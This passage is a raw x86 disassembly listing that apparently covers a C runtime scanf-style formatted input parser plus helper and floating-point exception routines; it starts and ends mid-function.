jmp loc_421097
; ---------------------------------------------------------------------------
loc_420976: ; CODE XREF: sub_420730+229j
push 64h
pop esi
loc_420979: ; CODE XREF: sub_420730+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_420C03
mov [ebp+var_17], 1
jmp loc_420C08
; ---------------------------------------------------------------------------
loc_42098E: ; CODE XREF: sub_420730+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_4209AA
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_4209AF
; ---------------------------------------------------------------------------
loc_4209AA: ; CODE XREF: sub_420730+26Aj
cmp ebx, 2Bh
jnz short loc_4209C6
loc_4209AF: ; CODE XREF: sub_420730+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_42118C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4209C9
; ---------------------------------------------------------------------------
loc_4209C6: ; CODE XREF: sub_420730+27Dj
mov edi, [ebp+arg_0]
loc_4209C9: ; CODE XREF: sub_420730+294j
cmp [ebp+var_20], 0
jz short loc_4209D8
cmp [ebp+var_C], 15Dh
jle short loc_4209DF
loc_4209D8: ; CODE XREF: sub_420730+29Dj
mov [ebp+var_C], 15Dh
loc_4209DF: ; CODE XREF: sub_420730+2A6j
; sub_420730+2F2j
cmp ds:dword_43F194, 1
jle short loc_4209F4
push 4
push ebx
call sub_41F735
pop ecx
pop ecx
jmp short loc_4209FF
; ---------------------------------------------------------------------------
loc_4209F4: ; CODE XREF: sub_420730+2B6j
mov eax, ds:off_43EF88
mov al, [eax+ebx*2]
and eax, 4
loc_4209FF: ; CODE XREF: sub_420730+2C2j
test eax, eax
jz short loc_420A24
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420A24
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_42118C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4209DF
; ---------------------------------------------------------------------------
loc_420A24: ; CODE XREF: sub_420730+2D1j
; sub_420730+2DBj
cmp ds:byte_43F198, bl
jnz short loc_420A92
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420A92
inc [ebp+var_4]
push edi
call sub_42118C
mov ebx, eax
mov al, ds:byte_43F198
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_420A4D: ; CODE XREF: sub_420730+360j
cmp ds:dword_43F194, 1
jle short loc_420A62
push 4
push ebx
call sub_41F735
pop ecx
pop ecx
jmp short loc_420A6D
; ---------------------------------------------------------------------------
loc_420A62: ; CODE XREF: sub_420730+324j
mov eax, ds:off_43EF88
mov al, [eax+ebx*2]
and eax, 4
loc_420A6D: ; CODE XREF: sub_420730+330j
test eax, eax
jz short loc_420A92
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420A92
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_42118C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_420A4D
; ---------------------------------------------------------------------------
loc_420A92: ; CODE XREF: sub_420730+2FAj
; sub_420730+304j ...
cmp [ebp+var_1C], 0
jz loc_420B2A
cmp ebx, 65h
jz short loc_420AAA
cmp ebx, 45h
jnz loc_420B2A
loc_420AAA: ; CODE XREF: sub_420730+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420B2A
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_42118C
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_420AD1
mov [esi], al
inc esi
jmp short loc_420AD6
; ---------------------------------------------------------------------------
loc_420AD1: ; CODE XREF: sub_420730+39Aj
cmp ebx, 2Bh
jnz short loc_420AF4
loc_420AD6: ; CODE XREF: sub_420730+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_420AE5
and [ebp+var_C], eax
jmp short loc_420AF4
; ---------------------------------------------------------------------------
loc_420AE5: ; CODE XREF: sub_420730+3AEj
; sub_420730+3F8j
inc [ebp+var_4]
push edi
call sub_42118C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_420AF4: ; CODE XREF: sub_420730+3A4j
; sub_420730+3B3j
cmp ds:dword_43F194, 1
jle short loc_420B09
push 4
push ebx
call sub_41F735
pop ecx
pop ecx
jmp short loc_420B14
; ---------------------------------------------------------------------------
loc_420B09: ; CODE XREF: sub_420730+3CBj
mov eax, ds:off_43EF88
mov al, [eax+ebx*2]
and eax, 4
loc_420B14: ; CODE XREF: sub_420730+3D7j
test eax, eax
jz short loc_420B2A
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420B2A
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_420AE5
; ---------------------------------------------------------------------------
loc_420B2A: ; CODE XREF: sub_420730+366j
; sub_420730+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_4211A6
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_421136
cmp [ebp+var_E], 0
jnz loc_421097
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call ds:off_43F538
add esp, 0Ch
jmp loc_421097
; ---------------------------------------------------------------------------
loc_420B6E: ; CODE XREF: sub_420730+20Cj
cmp [ebp+var_20], eax
jnz short loc_420B7D
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_420B7D: ; CODE XREF: sub_420730+441j
cmp [ebp+var_5], 0
jle short loc_420B87
mov [ebp+var_16], 1
loc_420B87: ; CODE XREF: sub_420730+451j
mov edi, offset dword_43F410
jmp loc_420C9C
; ---------------------------------------------------------------------------
loc_420B91: ; CODE XREF: sub_420730+1FDj
mov eax, esi
sub eax, 70h
jz loc_420E3F
sub eax, 3
jz loc_420C8D
dec eax
dec eax
jz loc_420E43
sub eax, 3
jz loc_420979
sub eax, 3
jz short loc_420BDF
loc_420BBB: ; CODE XREF: sub_420730+21Bj
; sub_420730+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_421106
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_421097
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_421097
; ---------------------------------------------------------------------------
loc_420BDF: ; CODE XREF: sub_420730+489j
cmp [ebp+var_5], 0
jle short loc_420BE9
mov [ebp+var_16], 1
loc_420BE9: ; CODE XREF: sub_420730+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_420CA0
mov eax, edi
lea edi, [eax+1]
jmp loc_420C9C
; ---------------------------------------------------------------------------
loc_420C03: ; CODE XREF: sub_420730+24Fj
cmp ebx, 2Bh
jnz short loc_420C2A
loc_420C08: ; CODE XREF: sub_420730+259j
dec [ebp+var_C]
jnz short loc_420C19
cmp [ebp+var_20], 0
jz short loc_420C19
mov [ebp+var_F], 1
jmp short loc_420C2A
; ---------------------------------------------------------------------------
loc_420C19: ; CODE XREF: sub_420730+4DBj
; sub_420730+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42118C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_420C2A: ; CODE XREF: sub_420730+4D6j
; sub_420730+4E7j
cmp ebx, 30h
jnz loc_420E78
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42118C
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_420C78
cmp bl, 58h
jz short loc_420C78
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_420C62
push 6Fh
loc_420C5C: ; CODE XREF: sub_420730+55Bj
pop esi
jmp loc_420E78
; ---------------------------------------------------------------------------
loc_420C62: ; CODE XREF: sub_420730+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_4211A6
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_420E75
; ---------------------------------------------------------------------------
loc_420C78: ; CODE XREF: sub_420730+517j
; sub_420730+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42118C
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_420C5C
; ---------------------------------------------------------------------------
loc_420C8D: ; CODE XREF: sub_420730+46Fj
cmp [ebp+var_5], 0
jle short loc_420C97
mov [ebp+var_16], 1
loc_420C97: ; CODE XREF: sub_420730+561j
mov edi, offset dword_43F408
loc_420C9C: ; CODE XREF: sub_420730+45Cj
; sub_420730+4CEj
or [ebp+var_18], 0FFh
loc_420CA0: ; CODE XREF: sub_420730+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_41B780
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_420CC4
cmp byte ptr [edi], 5Dh
jnz short loc_420CC4
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_420CC7
; ---------------------------------------------------------------------------
loc_420CC4: ; CODE XREF: sub_420730+584j
; sub_420730+589j
mov dl, [ebp+var_35]
loc_420CC7: ; CODE XREF: sub_420730+592j
; sub_420730+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_420D2C
inc edi
cmp al, 2Dh
jnz short loc_420D13
test dl, dl
jz short loc_420D13
mov cl, [edi]
cmp cl, 5Dh
jz short loc_420D13
inc edi
cmp dl, cl
jnb short loc_420CE6
mov al, cl
jmp short loc_420CEA
; ---------------------------------------------------------------------------
loc_420CE6: ; CODE XREF: sub_420730+5B0j
mov al, dl
mov dl, cl
loc_420CEA: ; CODE XREF: sub_420730+5B4j
cmp dl, al
ja short loc_420D0F
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_420CF7: ; CODE XREF: sub_420730+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_420CF7
loc_420D0F: ; CODE XREF: sub_420730+5BCj
xor dl, dl
jmp short loc_420CC7
; ---------------------------------------------------------------------------
loc_420D13: ; CODE XREF: sub_420730+5A0j
; sub_420730+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_420CC7
; ---------------------------------------------------------------------------
loc_420D2C: ; CODE XREF: sub_420730+59Bj
cmp byte ptr [edi], 0
jz loc_421136
cmp [ebp+var_3C], 7Bh
jnz short loc_420D3E
mov [ebp+arg_4], edi
loc_420D3E: ; CODE XREF: sub_420730+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_4211A6
pop ecx
pop ecx
loc_420D55: ; CODE XREF: sub_420730+6BCj
; sub_420730+6C4j
cmp [ebp+var_20], 0
jz short loc_420D69
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_420E05
loc_420D69: ; CODE XREF: sub_420730+629j
inc [ebp+var_4]
push edi
call sub_42118C
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_420DF9
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_420DF9
cmp [ebp+var_E], 0
jnz short loc_420DF1
cmp [ebp+var_16], 0
jz short loc_420DE6
mov ecx, ds:off_43EF88
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_420DC5
inc [ebp+var_4]
push edi
call sub_42118C
pop ecx
mov [ebp+var_37], al
loc_420DC5: ; CODE XREF: sub_420730+686j
push ds:dword_43F194
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_42410E
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_420DE9
; ---------------------------------------------------------------------------
loc_420DE6: ; CODE XREF: sub_420730+673j
mov [esi], al
inc esi
loc_420DE9: ; CODE XREF: sub_420730+6B4j
mov [ebp+var_2C], esi
jmp loc_420D55
; ---------------------------------------------------------------------------
loc_420DF1: ; CODE XREF: sub_420730+66Dj
inc [ebp+var_30]
jmp loc_420D55
; ---------------------------------------------------------------------------
loc_420DF9: ; CODE XREF: sub_420730+649j
; sub_420730+667j
dec [ebp+var_4]
push edi
push eax
call sub_4211A6
pop ecx
pop ecx
loc_420E05: ; CODE XREF: sub_420730+633j
cmp [ebp+var_30], esi
jz loc_421136
cmp [ebp+var_E], 0
jnz loc_421097
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_421097
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_420E37
and word ptr [eax], 0
jmp loc_421097
; ---------------------------------------------------------------------------
loc_420E37: ; CODE XREF: sub_420730+6FCj
and byte ptr [eax], 0
jmp loc_421097
; ---------------------------------------------------------------------------
loc_420E3F: ; CODE XREF: sub_420730+466j
mov [ebp+var_D], 1
loc_420E43: ; CODE XREF: sub_420730+203j
; sub_420730+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_420E51
mov [ebp+var_17], 1
jmp short loc_420E56
; ---------------------------------------------------------------------------
loc_420E51: ; CODE XREF: sub_420730+719j
cmp ebx, 2Bh
jnz short loc_420E78
loc_420E56: ; CODE XREF: sub_420730+71Fj
dec [ebp+var_C]
jnz short loc_420E67
cmp [ebp+var_20], 0
jz short loc_420E67
mov [ebp+var_F], 1
jmp short loc_420E78
; ---------------------------------------------------------------------------
loc_420E67: ; CODE XREF: sub_420730+729j
; sub_420730+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42118C
pop ecx
mov ebx, eax
loc_420E75: ; CODE XREF: sub_420730+543j
mov [ebp+var_14], ebx
loc_420E78: ; CODE XREF: sub_420730+4FDj
; sub_420730+52Dj ...
cmp [ebp+var_30], 0
jz loc_420F91
cmp [ebp+var_F], 0
jnz loc_420F6F
loc_420E8C: ; CODE XREF: sub_420730+82Cj
cmp esi, 78h
jnz short loc_420EE0
cmp ds:dword_43F194, 1
jle short loc_420EA9
push 80h
push ebx
call sub_41F735
pop ecx
pop ecx
jmp short loc_420EB6
; ---------------------------------------------------------------------------
loc_420EA9: ; CODE XREF: sub_420730+768j
mov eax, ds:off_43EF88
mov al, [eax+ebx*2]
and eax, 80h
loc_420EB6: ; CODE XREF: sub_420730+777j
test eax, eax
jz loc_420F61
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_4241E0
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_421155
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_420F33
; ---------------------------------------------------------------------------
loc_420EE0: ; CODE XREF: sub_420730+75Fj
cmp ds:dword_43F194, 1
jle short loc_420EF5
push 4
push ebx
call sub_41F735
pop ecx
pop ecx
jmp short loc_420F00
; ---------------------------------------------------------------------------
loc_420EF5: ; CODE XREF: sub_420730+7B7j
mov eax, ds:off_43EF88
mov al, [eax+ebx*2]
and eax, 4
loc_420F00: ; CODE XREF: sub_420730+7C3j
test eax, eax
jz short loc_420F61
cmp esi, 6Fh
jnz short loc_420F1E
cmp ebx, 38h
jge short loc_420F61
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_4241E0
jmp short loc_420F2D
; ---------------------------------------------------------------------------
loc_420F1E: ; CODE XREF: sub_420730+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_41D4A0
loc_420F2D: ; CODE XREF: sub_420730+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_420F33: ; CODE XREF: sub_420730+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_420F4B
dec [ebp+var_C]
jz short loc_420F6F
loc_420F4B: ; CODE XREF: sub_420730+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42118C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_420E8C
; ---------------------------------------------------------------------------
loc_420F61: ; CODE XREF: sub_420730+788j
; sub_420730+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_4211A6
pop ecx
pop ecx
loc_420F6F: ; CODE XREF: sub_420730+756j
; sub_420730+819j
cmp [ebp+var_17], 0
jz loc_421055
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_421055
; ---------------------------------------------------------------------------
loc_420F91: ; CODE XREF: sub_420730+74Cj
cmp [ebp+var_F], 0
jnz loc_42104D
loc_420F9B: ; CODE XREF: sub_420730+90Aj
cmp esi, 78h
jz short loc_420FDF
cmp esi, 70h
jz short loc_420FDF
cmp ds:dword_43F194, 1
jle short loc_420FBA
push 4
push ebx
call sub_41F735
pop ecx
pop ecx
jmp short loc_420FC5
; ---------------------------------------------------------------------------
loc_420FBA: ; CODE XREF: sub_420730+87Cj
mov eax, ds:off_43EF88
mov al, [eax+ebx*2]
and eax, 4
loc_420FC5: ; CODE XREF: sub_420730+888j
test eax, eax
jz short loc_42103F
cmp esi, 6Fh
jnz short loc_420FD8
cmp ebx, 38h
jge short loc_42103F
shl edi, 3
jmp short loc_421017
; ---------------------------------------------------------------------------
loc_420FD8: ; CODE XREF: sub_420730+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_421017
; ---------------------------------------------------------------------------
loc_420FDF: ; CODE XREF: sub_420730+86Ej
; sub_420730+873j
cmp ds:dword_43F194, 1
jle short loc_420FF7
push 80h
push ebx
call sub_41F735
pop ecx
pop ecx
jmp short loc_421004
; ---------------------------------------------------------------------------
loc_420FF7: ; CODE XREF: sub_420730+8B6j
mov eax, ds:off_43EF88
mov al, [eax+ebx*2]
and eax, 80h
loc_421004: ; CODE XREF: sub_420730+8C5j
test eax, eax
jz short loc_42103F
push ebx
shl edi, 4
call sub_421155
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_421017: ; CODE XREF: sub_420730+8A6j
; sub_420730+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_421029
dec [ebp+var_C]
jz short loc_42104D
loc_421029: ; CODE XREF: sub_420730+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42118C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_420F9B
; ---------------------------------------------------------------------------
loc_42103F: ; CODE XREF: sub_420730+897j
; sub_420730+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_4211A6
pop ecx
pop ecx
loc_42104D: ; CODE XREF: sub_420730+865j
; sub_420730+8F7j
cmp [ebp+var_17], 0
jz short loc_421055
neg edi
loc_421055: ; CODE XREF: sub_420730+843j
; sub_420730+85Cj ...
cmp esi, 46h
jnz short loc_42105E
and [ebp+var_1C], 0
loc_42105E: ; CODE XREF: sub_420730+928j
cmp [ebp+var_1C], 0
jz loc_421136
cmp [ebp+var_E], 0
jnz short loc_421097
inc [ebp+var_34]
loc_421071: ; CODE XREF: sub_420730+23Bj
cmp [ebp+var_30], 0
jz short loc_421087
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_421097
; ---------------------------------------------------------------------------
loc_421087: ; CODE XREF: sub_420730+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_421094
mov [eax], edi
jmp short loc_421097
; ---------------------------------------------------------------------------
loc_421094: ; CODE XREF: sub_420730+95Ej
mov [eax], di
loc_421097: ; CODE XREF: sub_420730+241j
; sub_420730+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_4210E4
; ---------------------------------------------------------------------------
loc_4210A2: ; CODE XREF: sub_420730+93j
inc [ebp+var_4]
push edi
call sub_42118C
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_421111
mov ecx, ds:off_43EF88
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_4210E4
inc [ebp+var_4]
push edi
call sub_42118C
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_42111F
dec [ebp+var_4]
loc_4210E4: ; CODE XREF: sub_420730+970j
; sub_420730+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_4210FA
cmp byte ptr [esi], 25h
jnz short loc_42113C
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_42113C
mov esi, eax
loc_4210FA: ; CODE XREF: sub_420730+9B8j
mov al, [esi]
test al, al
jnz loc_42075A
jmp short loc_421136
; ---------------------------------------------------------------------------
loc_421106: ; CODE XREF: sub_420730+1F4j
; sub_420730+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_421116
; ---------------------------------------------------------------------------
loc_421111: ; CODE XREF: sub_420730+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_421116: ; CODE XREF: sub_420730+9DFj
call sub_4211A6
pop ecx
pop ecx
jmp short loc_421136
; ---------------------------------------------------------------------------
loc_42111F: ; CODE XREF: sub_420730+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_4211A6
dec [ebp+var_4]
push edi
push ebx
call sub_4211A6
add esp, 10h
loc_421136: ; CODE XREF: sub_420730+1Fj
; sub_420730+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_42114D
loc_42113C: ; CODE XREF: sub_420730+9BDj
; sub_420730+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_421150
cmp [ebp+var_15], al
jnz short loc_421150
or eax, 0FFFFFFFFh
jmp short loc_421150
; ---------------------------------------------------------------------------
loc_42114D: ; CODE XREF: sub_420730+A0Aj
mov eax, [ebp+var_34]
loc_421150: ; CODE XREF: sub_420730+A11j
; sub_420730+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_420730 endp
; =============== S U B R O U T I N E =======================================
sub_421155 proc near ; CODE XREF: sub_420730+7A3p
; sub_420730+8DCp
arg_0 = dword ptr 4
cmp ds:dword_43F194, 1
push esi
jle short loc_42116F
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_41F735
pop ecx
pop ecx
jmp short loc_42117E
; ---------------------------------------------------------------------------
loc_42116F: ; CODE XREF: sub_421155+8j
mov esi, [esp+4+arg_0]
mov eax, ds:off_43EF88
mov al, [eax+esi*2]
and eax, 4
loc_42117E: ; CODE XREF: sub_421155+18j
test eax, eax
jnz short loc_421188
and esi, 0FFFFFFDFh
sub esi, 7
loc_421188: ; CODE XREF: sub_421155+2Bj
mov eax, esi
pop esi
retn
sub_421155 endp
; =============== S U B R O U T I N E =======================================
sub_42118C proc near ; CODE XREF: sub_420730+1E1p
; sub_420730+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_42119E
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_42119E: ; CODE XREF: sub_42118C+7j
push edx
call sub_41F263
pop ecx
retn
sub_42118C endp
; =============== S U B R O U T I N E =======================================
sub_4211A6 proc near ; CODE XREF: sub_420730+6Bp
; sub_420730+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_4211BC
push [esp+arg_4]
push [esp+4+arg_0]
call sub_4241FF
pop ecx
pop ecx
locret_4211BC: ; CODE XREF: sub_4211A6+5j
retn
sub_4211A6 endp
; =============== S U B R O U T I N E =======================================
sub_4211BD proc near ; CODE XREF: sub_420730+63p
; sub_420730+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_4211C3: ; CODE XREF: sub_4211BD+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_42118C
mov edi, eax
push edi
call sub_41D890
pop ecx
test eax, eax
pop ecx
jnz short loc_4211C3
mov eax, edi
pop edi
pop esi
retn
sub_4211BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_4211E1(int,int,double,int)
sub_4211E1 proc near ; CODE XREF: sub_41C869+51p
; sub_41C9AF+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp ds:dword_43F900, 0
jnz short loc_421216
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_421796
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421216: ; CODE XREF: sub_4211E1+Aj
push 0FFFFh
mov ds:dword_4DDEB4, 21h
push [ebp+arg_C]
call sub_421A09
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_4211E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421234(int,int,double,double,int)
sub_421234 proc near ; CODE XREF: sub_41C869:loc_41C92Cp
; sub_41C9AF:loc_41CA72p
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_42157F
add esp, 0Ch
test eax, eax
jnz short loc_421272
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_4212CC
add esp, 18h
loc_421272: ; CODE XREF: sub_421234+1Aj
push [ebp+arg_0]
call sub_421869
cmp ds:dword_43F900, 0
pop ecx
jnz short loc_4212B0
test eax, eax
jz short loc_4212B0
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_421796
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_4212B0: ; CODE XREF: sub_421234+4Ej
; sub_421234+52j
push eax
call sub_42181E
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_421A09
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_421234 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4212CC proc near ; CODE XREF: sub_421234+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_4212FE
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_4212FE: ; CODE XREF: sub_4212CC+23j
test cl, 2
jz short loc_421311
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_421311: ; CODE XREF: sub_4212CC+35j
test cl, bl
jz short loc_421323
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_421323: ; CODE XREF: sub_4212CC+47j
test cl, 4
jz short loc_421336
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_421336: ; CODE XREF: sub_4212CC+5Aj
test cl, 8
jz short loc_421349
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_421349: ; CODE XREF: sub_4212CC+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
